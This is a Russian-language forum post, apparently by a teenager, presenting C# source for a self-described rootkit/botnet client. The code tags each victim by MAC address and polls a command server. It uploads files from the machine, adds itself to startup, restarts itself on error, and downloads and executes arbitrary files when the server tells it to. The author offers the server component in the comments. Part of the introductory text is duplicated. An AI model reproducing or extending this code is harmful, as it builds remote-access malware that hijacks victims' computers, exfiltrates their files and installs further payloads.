Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa и его темы об BotNet'e на С#.
Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.
Пока я напишу только каркас, и загрузку файла с последующим запуском.
А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:
Так то, тут 2 класса, так просто удобней работать.
Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:
Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.
Думаю с Config файлом вы сможете и сами разобраться.
Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.
Пока я напишу только каркас, и загрузку файла с последующим запуском.
А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:
C#:
namespace Kernel
{
class HTTPGet
{
public static string Indication()
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
return new StreamReader(response.GetResponseStream()).ReadToEnd();
}
public static void File(string _file, string dir)
{
WebClient myWebClient = new WebClient();
System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
myWebClient.DownloadFile(Site, dir + _file);
}
}
class HTTPSend
{
public static void File(string file)
{
System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile(Config.RootKitServer + "/sfile.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword, "POST", file);
string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
}
public static void Info(string data, string type)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
}
Так то, тут 2 класса, так просто удобней работать.
Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
C#:
public static string macAddresses()
{
string macAddresses = "";
foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
{
if (nic.OperationalStatus == OperationalStatus.Up)
{
macAddresses += nic.GetPhysicalAddress().ToString();
break;
}
}
return macAddresses;
}
А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:
C#:
public static bool EmergencyCopy()
{
string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
string name = filename.Substring(0, filename.IndexOf('.'));
Process[] pr = Process.GetProcesses();
int count = 0;
for (int i = 0; i < pr.Length; i++)
{
if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
{
count++;
}
}
if (count > 1) { return true; } else { return false; };
}
Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:
C#:
static void Main(string[] args)
{
try
{
Thread.Sleep(Config.IntervalToStrart);
if (EmergencyCopy())
{
Environment.Exit(0);
}
if (Config.persistence)
{
startup(true);
}
string Indication = null, type = null, subtype = null, cmd = null;
while (true)
{
Thread.Sleep(Config.IntervalToGetInst);
Indication = HTTPGet.Indication();
if (Indication != "")
{
type = Indication.Substring(0, Indication.IndexOf('.'));
subtype = Indication.Substring(Indication.IndexOf('.') + 1, Indication.IndexOf('=') - Indication.IndexOf('.') - 1);
cmd = Indication.Substring(Indication.IndexOf('=') + 1);
switch (type)
{
case "File":
switch (subtype)
{
case "Upload":
try
{
string Fcmd = cmd.Substring(0, cmd.IndexOf(',')), Scmd = cmd.Substring(cmd.IndexOf(',') + 1); //
HTTPGet.File(Fcmd, Scmd); //Dir, File
System.Diagnostics.Process.Start(Fcmd+Scmd);
} catch { HTTPSend.Info("Error: Failed to upload file to device!", "err"); }
break;
}
break;
}
}
}
} catch {
System.Diagnostics.Process.Start(Assembly.GetExecutingAssembly().Location);
Environment.Exit(0);
}
}
Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.
Думаю с Config файлом вы сможете и сами разобраться.
Последнее редактирование модератором: